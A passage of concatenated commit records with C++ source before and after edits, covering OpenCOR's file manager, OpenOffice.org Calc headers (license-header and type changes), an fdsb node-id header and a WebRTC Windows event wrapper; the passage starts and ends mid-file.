QString &pFileName)\n{\n \/\/ If the given file is already managed, then we consider that it's of the\n \/\/ right type (e.g. CellML file), even though it may not be of the right\n \/\/ type anymore after having been edited and saved, but in this case it's\n \/\/ good to keep considering the file as of the right type, so that the user\n \/\/ can continue editing it without any problem, for example\n\n QString nativeFileName = Core::nativeCanonicalFileName(pFileName);\n\n if (file(nativeFileName))\n return true;\n\n \/\/ The given file is not managed, so consider it of the right type if it is\n \/\/ an empty file (after having been trimmed) or it can be loaded\n\n QByteArray fileContents;\n\n if (Core::readFileContentsFromFile(nativeFileName, fileContents)) {\n if (fileContents.trimmed().isEmpty())\n return true;\n\n return canLoadFile(nativeFileName);\n } else {\n return false;\n }\n}\n\n\/\/==============================================================================\n\nQObject * StandardFileManager::file(const QString &pFileName)\n{\n \/\/ Return the File object, if any, associated with the given file\n\n return mFiles.value(Core::nativeCanonicalFileName(pFileName));\n}\n\n\/\/==============================================================================\n\nvoid StandardFileManager::manageFile(const QString &pFileName)\n{\n QString nativeFileName = Core::nativeCanonicalFileName(pFileName);\n\n if (!file(nativeFileName) && isFile(nativeFileName)) {\n \/\/ We are dealing with a file, which is not already managed, so we can\n \/\/ add it to our list of managed files\n\n mFiles.insert(nativeFileName, newFile(nativeFileName));\n }\n}\n\n\/\/==============================================================================\n\nvoid StandardFileManager::unmanageFile(const QString &pFileName)\n{\n QObject *crtFile = file(pFileName);\n\n if (crtFile) {\n \/\/ We are dealing with a file, so we can remove it from our list of\n \/\/ managed files after having deleted it\n\n delete crtFile;\n\n mFiles.remove(Core::nativeCanonicalFileName(pFileName));\n }\n}\n\n\/\/==============================================================================\n\nvoid StandardFileManager::reloadFile(const QString &pFileName)\n{\n \/\/ The file is to be reloaded, so reload it\n \/\/ Note: to reload a file here ensures that our different standard-based\n \/\/ views won't each do it, thus saving time and ensuring that a\n \/\/ standard-based view doesn't forget to do it...\n\n QObject *crtFile = file(pFileName);\n\n if (crtFile) {\n \/\/ The file is managed, but should it still be (i.e. can it still be\n \/\/ considered as being a file)?\n\n if (isFile(pFileName))\n static_cast<StandardFile *>(crtFile)->reload();\n else\n unmanageFile(pFileName);\n } else {\n \/\/ The file is not managed, which means that previously it wasn't\n \/\/ considered as being a file, but things may be different now, so try\n \/\/ to remanage it and load it, if possible\n\n manageFile(pFileName);\n\n crtFile = file(pFileName);\n\n if (crtFile)\n static_cast<StandardFile *>(crtFile)->load();\n }\n}\n\n\/\/==============================================================================\n\nvoid StandardFileManager::renameFile(const QString &pOldFileName,\n const QString &pNewFileName)\n{\n \/\/ The file has been renamed, so we need to update our files mapping, if\n \/\/ needed\n\n QObject *crtFile = file(pOldFileName);\n\n if (!crtFile)\n return;\n\n mFiles.insert(pNewFileName, crtFile);\n mFiles.remove(pOldFileName);\n\n \/\/ We also need to ensure that our file object has its file name updated\n\n static_cast<StandardFile *>(crtFile)->setFileName(pNewFileName);\n}\n\n\/\/==============================================================================\n\n} \/\/ namespace StandardSupport\n} \/\/ namespace OpenCOR\n\n\/\/==============================================================================\n\/\/ End of file\n\/\/==============================================================================\n<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n *\n * $RCSfile: expftext.hxx,v $\n *\n * $Revision: 1.2 $\n *\n * last change: $Author: rt $ $Date: 2004-08-23 09:34:19 $\n *\n * The Contents of this file are made available subject to the terms of\n * either of the following licenses\n *\n * - GNU Lesser General Public License Version 2.1\n * - Sun Industry Standards Source License Version 1.1\n *\n * Sun Microsystems Inc., October, 2000\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2000 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n *\n * Sun Industry Standards Source License Version 1.1\n * =================================================\n * The contents of this file are subject to the Sun Industry Standards\n * Source License Version 1.1 (the \"License\"); You may not use this file\n * except in compliance with the License. You may obtain a copy of the\n * License at http:\/\/www.openoffice.org\/license.html.\n *\n * Software provided under this License is provided on an \"AS IS\" basis,\n * WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n * WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n * MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n * See the License for the specific provisions governing your rights and\n * obligations concerning the Software.\n *\n * The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n * Copyright: 2000 by Sun Microsystems, Inc.\n *\n * All Rights Reserved.\n *\n * Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n\n#ifndef _SC_EXPFTEXT_HXX\n#define _SC_EXPFTEXT_HXX\n\n#ifndef _SV_FIXED_HXX \/\/autogen\n#include <vcl\/fixed.hxx>\n#endif\n\n#ifndef INCLUDED_SCDLLAPI_H\n#include \"scdllapi.h\"\n#endif\n\nclass SC_DLLPUBLIC ScExpandedFixedText: public FixedText\n{\n protected:\n\n void RequestHelp( const HelpEvent& rHEvt );\n\n public:\n\n ScExpandedFixedText( Window* pParent,WinBits nWinStyle = 0);\n ScExpandedFixedText( Window* pWindow, const ResId& rResId);\n};\n\n\n#endif\n<commit_msg>INTEGRATION: CWS ooo19126 (1.2.346); FILE MERGED 2005\/09\/05 15:05:20 rt 1.2.346.1: #i54170# Change license header: remove SISSL<commit_after>\/*************************************************************************\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: expftext.hxx,v $\n *\n * $Revision: 1.3 $\n *\n * last change: $Author: rt $ $Date: 2005-09-08 21:24:30 $\n *\n * The Contents of this file are made available subject to\n * the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2005 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n ************************************************************************\/\n\n#ifndef _SC_EXPFTEXT_HXX\n#define _SC_EXPFTEXT_HXX\n\n#ifndef _SV_FIXED_HXX \/\/autogen\n#include <vcl\/fixed.hxx>\n#endif\n\n#ifndef INCLUDED_SCDLLAPI_H\n#include \"scdllapi.h\"\n#endif\n\nclass SC_DLLPUBLIC ScExpandedFixedText: public FixedText\n{\n protected:\n\n void RequestHelp( const HelpEvent& rHEvt );\n\n public:\n\n ScExpandedFixedText( Window* pParent,WinBits nWinStyle = 0);\n ScExpandedFixedText( Window* pWindow, const ResId& rResId);\n};\n\n\n#endif\n<|endoftext|>"} {"text":"<commit_before>#ifndef _FDSB_NID_\n#define _FDSB_NID_\n\nnamespace fdsb\n{\n\n\/**\n * Node Identifier Plain Old Data type.\n *\/\nstruct Nid\n{\n\tenum struct Type : unsigned char\n\t{\n\t\tspecial,\n\t\tinteger,\n\t\treal,\n\t\tcharacter,\n\t\tallocated,\n\t};\n\t\n\tenum struct Special : unsigned long long\n\t{\n\t\tnull,\n\t\tbool_true,\n\t\tbool_false,\n\t};\n\n\tType t;\n\tunion\n\t{\n\tunsigned long long v;\n\tdouble vd;\n\t};\n\t\n\t\/** Generate a new unique node id. *\/\n\tstatic Nid unique();\n};\n\n\nconstexpr Nid operator\"\" _nid(unsigned long long v)\n{\n\treturn {Nid::Type::integer, { .v = v }};\n}\n\nconstexpr Nid operator\"\" _nid(long double v)\n{\n\treturn {Nid::Type::real, { .vd = v }};\n}\n\nconstexpr Nid operator\"\" _nid(char v)\n{\n\treturn {Nid::Type::character, { .v = v }};\n}\n\nconstexpr Nid null_nid = {Nid::Type::special,Nid::Special::null};\nconstexpr Nid true_nid = {Nid::Type::special,Nid::Special::bool_true};\nconstexpr Nid false_nid = {Nid::Type::special,Nid::Special::bool_false};\n\n};\n\n#endif\n<commit_msg>Minor rename, attempting to fix compiler crash<commit_after>#ifndef _FDSB_NID_\n#define _FDSB_NID_\n\nnamespace fdsb\n{\n\n\/**\n * Node Identifier Plain Old Data type.\n *\/\nstruct Nid\n{\n\tenum struct Type : unsigned char\n\t{\n\t\tspecial,\n\t\tinteger,\n\t\treal,\n\t\tcharacter,\n\t\tallocated,\n\t};\n\t\n\tenum struct Special : unsigned long long\n\t{\n\t\tnull,\n\t\tbool_true,\n\t\tbool_false,\n\t};\n\n\tType t;\n\tunion\n\t{\n\tunsigned long long i;\n\tdouble d;\n\t};\n\t\n\t\/** Generate a new unique node id. *\/\n\tstatic Nid unique();\n};\n\n\nconstexpr Nid operator\"\" _nid(unsigned long long v)\n{\n\treturn Nid{Nid::Type::integer, { .i = v }};\n}\n\nconstexpr Nid operator\"\" _nid(long double v)\n{\n\treturn Nid{Nid::Type::real, { .d = v }};\n}\n\nconstexpr Nid operator\"\" _nid(char v)\n{\n\treturn Nid{Nid::Type::character, { .i = v }};\n}\n\nconstexpr Nid null_nid = {Nid::Type::special,Nid::Special::null};\nconstexpr Nid true_nid = {Nid::Type::special,Nid::Special::bool_true};\nconstexpr Nid false_nid = {Nid::Type::special,Nid::Special::bool_false};\n\n};\n\n#endif\n<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n *\n * $RCSfile: shtabdlg.hxx,v $\n *\n * $Revision: 1.3 $\n *\n * last change: $Author: dr $ $Date: 2002-10-02 14:59:25 $\n *\n * The Contents of this file are made available subject to the terms of\n * either of the following licenses\n *\n * - GNU Lesser General Public License Version 2.1\n * - Sun Industry Standards Source License Version 1.1\n *\n * Sun Microsystems Inc., October, 2000\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2000 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n *\n * Sun Industry Standards Source License Version 1.1\n * =================================================\n * The contents of this file are subject to the Sun Industry Standards\n * Source License Version 1.1 (the \"License\"); You may not use this file\n * except in compliance with the License. You may obtain a copy of the\n * License at http:\/\/www.openoffice.org\/license.html.\n *\n * Software provided under this License is provided on an \"AS IS\" basis,\n * WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n * WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n * MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n * See the License for the specific provisions governing your rights and\n * obligations concerning the Software.\n *\n * The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n * Copyright: 2000 by Sun Microsystems, Inc.\n *\n * All Rights Reserved.\n *\n * Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n\n#ifndef SC_SHTABDLG_HXX\n#define SC_SHTABDLG_HXX\n\n#ifndef _FIXED_HXX \/\/autogen\n#include <vcl\/fixed.hxx>\n#endif\n#ifndef _BUTTON_HXX \/\/autogen\n#include <vcl\/button.hxx>\n#endif\n#ifndef SVTOOLS_TOOLTIPLBOX_HXX\n#include <svtools\/tooltiplbox.hxx>\n#endif\n#ifndef _DIALOG_HXX \/\/autogen\n#include <vcl\/dialog.hxx>\n#endif\n\n\/\/------------------------------------------------------------------------\n\nclass ScShowTabDlg : public ModalDialog\n{\nprivate:\n ::svtools::ToolTipMultiListBox aLb;\n OKButton aBtnOk;\n CancelButton aBtnCancel;\n HelpButton aBtnHelp;\n FixedText aFtLbTitle;\n\n DECL_LINK( DblClkHdl, void * );\n\npublic:\n ScShowTabDlg( Window* pParent );\n ~ScShowTabDlg();\n\n \/** Sets dialog title, fixed text for listbox and help IDs. *\/\n void SetDescription(\n const String& rTitle, const String& rFixedText,\n ULONG nDlgHelpId, ULONG nLbHelpId );\n\n \/** Inserts a string into the ListBox. *\/\n void Insert( const String& rString, BOOL bSelected );\n\n USHORT GetSelectEntryCount() const;\n String GetSelectEntry(USHORT nPos) const;\n USHORT GetSelectEntryPos(USHORT nPos) const;\n};\n\n\n#endif\n\n\n<commit_msg>INTEGRATION: CWS ooo19126 (1.3.898); FILE MERGED 2005\/09\/05 15:05:48 rt 1.3.898.1: #i54170# Change license header: remove SISSL<commit_after>\/*************************************************************************\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: shtabdlg.hxx,v $\n *\n * $Revision: 1.4 $\n *\n * last change: $Author: rt $ $Date: 2005-09-08 21:50:01 $\n *\n * The Contents of this file are made available subject to\n * the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2005 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n ************************************************************************\/\n\n#ifndef SC_SHTABDLG_HXX\n#define SC_SHTABDLG_HXX\n\n#ifndef _FIXED_HXX \/\/autogen\n#include <vcl\/fixed.hxx>\n#endif\n#ifndef _BUTTON_HXX \/\/autogen\n#include <vcl\/button.hxx>\n#endif\n#ifndef SVTOOLS_TOOLTIPLBOX_HXX\n#include <svtools\/tooltiplbox.hxx>\n#endif\n#ifndef _DIALOG_HXX \/\/autogen\n#include <vcl\/dialog.hxx>\n#endif\n\n\/\/------------------------------------------------------------------------\n\nclass ScShowTabDlg : public ModalDialog\n{\nprivate:\n ::svtools::ToolTipMultiListBox aLb;\n OKButton aBtnOk;\n CancelButton aBtnCancel;\n HelpButton aBtnHelp;\n FixedText aFtLbTitle;\n\n DECL_LINK( DblClkHdl, void * );\n\npublic:\n ScShowTabDlg( Window* pParent );\n ~ScShowTabDlg();\n\n \/** Sets dialog title, fixed text for listbox and help IDs. *\/\n void SetDescription(\n const String& rTitle, const String& rFixedText,\n ULONG nDlgHelpId, ULONG nLbHelpId );\n\n \/** Inserts a string into the ListBox. *\/\n void Insert( const String& rString, BOOL bSelected );\n\n USHORT GetSelectEntryCount() const;\n String GetSelectEntry(USHORT nPos) const;\n USHORT GetSelectEntryPos(USHORT nPos) const;\n};\n\n\n#endif\n\n\n<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n *\n * $RCSfile: undobase.hxx,v $\n *\n * $Revision: 1.2 $\n *\n * last change: $Author: nn $ $Date: 2002-10-09 10:58:13 $\n *\n * The Contents of this file are made available subject to the terms of\n * either of the following licenses\n *\n * - GNU Lesser General Public License Version 2.1\n * - Sun Industry Standards Source License Version 1.1\n *\n * Sun Microsystems Inc., October, 2000\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2000 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n *\n * Sun Industry Standards Source License Version 1.1\n * =================================================\n * The contents of this file are subject to the Sun Industry Standards\n * Source License Version 1.1 (the \"License\"); You may not use this file\n * except in compliance with the License. You may obtain a copy of the\n * License at http:\/\/www.openoffice.org\/license.html.\n *\n * Software provided under this License is provided on an \"AS IS\" basis,\n * WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n * WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n * MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n * See the License for the specific provisions governing your rights and\n * obligations concerning the Software.\n *\n * The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n * Copyright: 2000 by Sun Microsystems, Inc.\n *\n * All Rights Reserved.\n *\n * Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n\n#ifndef SC_UNDOBASE_HXX\n#define SC_UNDOBASE_HXX\n\n#ifndef _UNDO_HXX \/\/autogen\n#include <svtools\/undo.hxx>\n#endif\n\n#ifndef SC_SCGLOB_HXX\n#include \"global.hxx\"\n#endif\n\nclass ScDocument;\nclass ScDocShell;\nclass SdrUndoAction;\nclass ScRefUndoData;\n\n\/\/----------------------------------------------------------------------------\n\nclass ScSimpleUndo: public SfxUndoAction\n{\npublic:\n TYPEINFO();\n ScSimpleUndo( ScDocShell* pDocSh );\n virtual ~ScSimpleUndo();\n\n virtual BOOL Merge( SfxUndoAction *pNextAction );\n\nprotected:\n ScDocShell* pDocShell;\n SfxUndoAction* pDetectiveUndo;\n\n void BeginUndo();\n void EndUndo();\n void BeginRedo();\n void EndRedo();\n\n static void ShowTable( USHORT nTab );\n static void ShowTable( const ScRange& rRange );\n};\n\n\/\/----------------------------------------------------------------------------\n\nenum ScBlockUndoMode { SC_UNDO_SIMPLE, SC_UNDO_MANUALHEIGHT, SC_UNDO_AUTOHEIGHT };\n\nclass ScBlockUndo: public ScSimpleUndo\n{\npublic:\n TYPEINFO();\n ScBlockUndo( ScDocShell* pDocSh, const ScRange& rRange,\n ScBlockUndoMode eBlockMode );\n virtual ~ScBlockUndo();\n\nprotected:\n ScRange aBlockRange;\n SdrUndoAction* pDrawUndo;\n ScBlockUndoMode eMode;\n\n void BeginUndo();\n void EndUndo();\n\/\/ void BeginRedo();\n void EndRedo();\n\n BOOL AdjustHeight();\n void ShowBlock();\n};\n\n\/\/----------------------------------------------------------------------------\n\nenum ScMoveUndoMode { SC_UNDO_REFFIRST, SC_UNDO_REFLAST };\n\nclass ScMoveUndo: public ScSimpleUndo \/\/ mit Referenzen\n{\npublic:\n TYPEINFO();\n ScMoveUndo( ScDocShell* pDocSh,\n ScDocument* pRefDoc, ScRefUndoData* pRefData,\n ScMoveUndoMode eRefMode );\n virtual ~ScMoveUndo();\n\nprotected:\n SdrUndoAction* pDrawUndo;\n ScDocument* pRefUndoDoc;\n ScRefUndoData* pRefUndoData;\n ScMoveUndoMode eMode;\n\n void BeginUndo();\n void EndUndo();\n\/\/ void BeginRedo();\n\/\/ void EndRedo();\n\nprivate:\n void UndoRef();\n};\n\n\/\/----------------------------------------------------------------------------\n\nclass ScUndoWrapper: public SfxUndoAction \/\/ for manual merging of actions\n{\n SfxUndoAction* pWrappedUndo;\n\npublic:\n TYPEINFO();\n ScUndoWrapper( SfxUndoAction* pUndo );\n virtual ~ScUndoWrapper();\n\n SfxUndoAction* GetWrappedUndo() { return pWrappedUndo; }\n void ForgetWrappedUndo();\n\n virtual BOOL IsLinked();\n virtual void SetLinked( BOOL bIsLinked );\n virtual void Undo();\n virtual void Redo();\n virtual void Repeat(SfxRepeatTarget& rTarget);\n virtual BOOL CanRepeat(SfxRepeatTarget& rTarget) const;\n virtual BOOL Merge( SfxUndoAction *pNextAction );\n virtual String GetComment() const;\n virtual String GetRepeatComment(SfxRepeatTarget&) const;\n virtual USHORT GetId() const;\n};\n\n\n#endif\n\n<commit_msg>INTEGRATION: CWS rowlimit (1.2.302); FILE MERGED 2004\/01\/13 20:04:46 er 1.2.302.2: #i1967# SCCOL,SCROW,SCTAB replace USHORT; SCsCOL,SCsROW,SCsTAB replace short 2003\/11\/28 19:48:03 er 1.2.302.1: #i1967# move ScAddress, ScRange from global.hxx to address.hxx<commit_after>\/*************************************************************************\n *\n * $RCSfile: undobase.hxx,v $\n *\n * $Revision: 1.3 $\n *\n * last change: $Author: obo $ $Date: 2004-06-04 11:43:57 $\n *\n * The Contents of this file are made available subject to the terms of\n * either of the following licenses\n *\n * - GNU Lesser General Public License Version 2.1\n * - Sun Industry Standards Source License Version 1.1\n *\n * Sun Microsystems Inc., October, 2000\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2000 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n *\n * Sun Industry Standards Source License Version 1.1\n * =================================================\n * The contents of this file are subject to the Sun Industry Standards\n * Source License Version 1.1 (the \"License\"); You may not use this file\n * except in compliance with the License. You may obtain a copy of the\n * License at http:\/\/www.openoffice.org\/license.html.\n *\n * Software provided under this License is provided on an \"AS IS\" basis,\n * WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n * WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n * MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n * See the License for the specific provisions governing your rights and\n * obligations concerning the Software.\n *\n * The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n * Copyright: 2000 by Sun Microsystems, Inc.\n *\n * All Rights Reserved.\n *\n * Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n\n#ifndef SC_UNDOBASE_HXX\n#define SC_UNDOBASE_HXX\n\n#ifndef _UNDO_HXX \/\/autogen\n#include <svtools\/undo.hxx>\n#endif\n\n#ifndef SC_SCGLOB_HXX\n#include \"global.hxx\"\n#endif\n\n#ifndef SC_ADDRESS_HXX\n#include \"address.hxx\"\n#endif\n\nclass ScDocument;\nclass ScDocShell;\nclass SdrUndoAction;\nclass ScRefUndoData;\n\n\/\/----------------------------------------------------------------------------\n\nclass ScSimpleUndo: public SfxUndoAction\n{\npublic:\n TYPEINFO();\n ScSimpleUndo( ScDocShell* pDocSh );\n virtual ~ScSimpleUndo();\n\n virtual BOOL Merge( SfxUndoAction *pNextAction );\n\nprotected:\n ScDocShell* pDocShell;\n SfxUndoAction* pDetectiveUndo;\n\n void BeginUndo();\n void EndUndo();\n void BeginRedo();\n void EndRedo();\n\n static void ShowTable( SCTAB nTab );\n static void ShowTable( const ScRange& rRange );\n};\n\n\/\/----------------------------------------------------------------------------\n\nenum ScBlockUndoMode { SC_UNDO_SIMPLE, SC_UNDO_MANUALHEIGHT, SC_UNDO_AUTOHEIGHT };\n\nclass ScBlockUndo: public ScSimpleUndo\n{\npublic:\n TYPEINFO();\n ScBlockUndo( ScDocShell* pDocSh, const ScRange& rRange,\n ScBlockUndoMode eBlockMode );\n virtual ~ScBlockUndo();\n\nprotected:\n ScRange aBlockRange;\n SdrUndoAction* pDrawUndo;\n ScBlockUndoMode eMode;\n\n void BeginUndo();\n void EndUndo();\n\/\/ void BeginRedo();\n void EndRedo();\n\n BOOL AdjustHeight();\n void ShowBlock();\n};\n\n\/\/----------------------------------------------------------------------------\n\nenum ScMoveUndoMode { SC_UNDO_REFFIRST, SC_UNDO_REFLAST };\n\nclass ScMoveUndo: public ScSimpleUndo \/\/ mit Referenzen\n{\npublic:\n TYPEINFO();\n ScMoveUndo( ScDocShell* pDocSh,\n ScDocument* pRefDoc, ScRefUndoData* pRefData,\n ScMoveUndoMode eRefMode );\n virtual ~ScMoveUndo();\n\nprotected:\n SdrUndoAction* pDrawUndo;\n ScDocument* pRefUndoDoc;\n ScRefUndoData* pRefUndoData;\n ScMoveUndoMode eMode;\n\n void BeginUndo();\n void EndUndo();\n\/\/ void BeginRedo();\n\/\/ void EndRedo();\n\nprivate:\n void UndoRef();\n};\n\n\/\/----------------------------------------------------------------------------\n\nclass ScUndoWrapper: public SfxUndoAction \/\/ for manual merging of actions\n{\n SfxUndoAction* pWrappedUndo;\n\npublic:\n TYPEINFO();\n ScUndoWrapper( SfxUndoAction* pUndo );\n virtual ~ScUndoWrapper();\n\n SfxUndoAction* GetWrappedUndo() { return pWrappedUndo; }\n void ForgetWrappedUndo();\n\n virtual BOOL IsLinked();\n virtual void SetLinked( BOOL bIsLinked );\n virtual void Undo();\n virtual void Redo();\n virtual void Repeat(SfxRepeatTarget& rTarget);\n virtual BOOL CanRepeat(SfxRepeatTarget& rTarget) const;\n virtual BOOL Merge( SfxUndoAction *pNextAction );\n virtual String GetComment() const;\n virtual String GetRepeatComment(SfxRepeatTarget&) const;\n virtual USHORT GetId() const;\n};\n\n\n#endif\n\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright (c) 2012 The WebRTC project authors. All Rights Reserved.\n *\n * Use of this source code is governed by a BSD-style license\n * that can be found in the LICENSE file in the root of the source\n * tree. An additional intellectual property rights grant can be found\n * in the file PATENTS. All contributing project authors may\n * be found in the AUTHORS file in the root of the source tree.\n *\/\n\n#include \"webrtc\/system_wrappers\/source\/event_win.h\"\n\n#include \"Mmsystem.h\"\n\nnamespace webrtc {\n\nEventWindows::EventWindows()\n : event_(::CreateEvent(NULL, \/\/ security attributes\n FALSE, \/\/ manual reset\n FALSE, \/\/ initial state\n NULL)), \/\/ name of event\n timerID_(NULL) {\n}\n\nEventWindows::~EventWindows() {\n CloseHandle(event_);\n}\n\nbool EventWindows::Set() {\n \/\/ Note: setting an event that is already set has no effect.\n return SetEvent(event_) == 1 ? true : false;\n}\n\nbool EventWindows::Reset() {\n return ResetEvent(event_) == 1 ? true : false;\n}\n\nEventTypeWrapper EventWindows::Wait(unsigned long max_time) {\n unsigned long res = WaitForSingleObject(event_, max_time);\n switch (res) {\n case WAIT_OBJECT_0:\n return kEventSignaled;\n case WAIT_TIMEOUT:\n return kEventTimeout;\n default:\n return kEventError;\n }\n}\n\nbool EventWindows::StartTimer(bool periodic, unsigned long time) {\n if (timerID_ != NULL) {\n timeKillEvent(timerID_);\n timerID_ = NULL;\n }\n if (periodic) {\n timerID_ = timeSetEvent(time, 0, (LPTIMECALLBACK)HANDLE(event_), 0,\n TIME_PERIODIC | TIME_CALLBACK_EVENT_PULSE);\n } else {\n timerID_ = timeSetEvent(time, 0, (LPTIMECALLBACK)HANDLE(event_), 0,\n TIME_ONESHOT | TIME_CALLBACK_EVENT_SET);\n }\n\n if (timerID_ == NULL) {\n return false;\n }\n return true;\n}\n\nbool EventWindows::StopTimer() {\n timeKillEvent(timerID_);\n timerID_ = NULL;\n return true;\n}\n\n} \/\/ namespace webrtc\n<commit_msg>Stop timer in ~EventWindows().<commit_after>\/*\n * Copyright (c) 2012 The WebRTC project authors. All Rights Reserved.\n *\n * Use of this source code is governed by a BSD-style license\n * that can be found in the LICENSE file in the root of the source\n * tree. An additional intellectual property rights grant can be found\n * in the file PATENTS. All contributing project authors may\n * be found in the AUTHORS file in the root of the source tree.\n *\/\n\n#include \"webrtc\/system_wrappers\/source\/event_win.h\"\n\n#include \"Mmsystem.h\"\n\nnamespace webrtc {\n\nEventWindows::EventWindows()\n : event_(::CreateEvent(NULL, \/\/ security attributes\n FALSE, \/\/ manual reset\n FALSE, \/\/ initial state\n NULL)), \/\/ name of event\n timerID_(NULL) {\n}\n\nEventWindows::~EventWindows() {\n StopTimer();\n CloseHandle(event_);\n}\n\nbool EventWindows::Set() {\n \/\/ Note: setting an event that is already set has no effect.\n return SetEvent(event_) == 1;\n}\n\nbool EventWindows::Reset() {\n return ResetEvent(event_) == 1;\n}\n\nEventTypeWrapper EventWindows::Wait(unsigned long max_time) {\n unsigned long res = WaitForSingleObject(event_, max_time);\n switch (res) {\n case WAIT_OBJECT_0:\n return kEventSignaled;\n case WAIT_TIMEOUT:\n return kEventTimeout;\n default:\n return kEventError;\n }\n}\n\nbool EventWindows::StartTimer(bool periodic, unsigned long time) {\n if (timerID_ != NULL) {\n timeKillEvent(timerID_);\n timerID_ = NULL;\n }\n\n if (periodic) {\n timerID_ = timeSetEvent(time, 0, (LPTIMECALLBACK)HANDLE(event_), 0,\n 